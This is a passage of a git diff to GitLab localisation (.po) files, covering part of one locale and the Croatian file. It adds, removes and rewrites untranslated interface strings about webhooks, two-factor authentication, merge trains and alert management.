msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/hr_HR/gitlab.po b/locale/hr_HR/gitlab.po
index b75132e0a88..78881fdfc91 100644
--- a/locale/hr_HR/gitlab.po
+++ b/locale/hr_HR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:39\n"
+"PO-Revision-Date: 2020-09-04 23:03\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -58,13 +58,13 @@ msgstr[2] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -73,6 +73,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -343,6 +346,9 @@ msgstr[2] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -379,6 +385,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -439,6 +448,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -466,7 +478,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -553,9 +565,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -574,6 +583,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -583,6 +595,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -700,6 +724,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -727,6 +754,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -742,6 +772,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -820,6 +853,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -853,6 +889,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -862,7 +901,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -907,6 +961,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1123,15 +1180,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1195,7 +1243,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1213,6 +1261,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1315,6 +1366,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1426,6 +1480,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1459,12 +1516,6 @@ msgstr[2] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1579,6 +1630,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1591,6 +1645,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1603,6 +1660,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1882,6 +1942,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1897,6 +1960,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2125,6 +2191,9 @@ msgstr[2] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2155,7 +2224,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2212,9 +2281,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2227,6 +2293,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2269,16 +2338,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2308,7 +2374,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2407,6 +2473,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2554,6 +2623,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
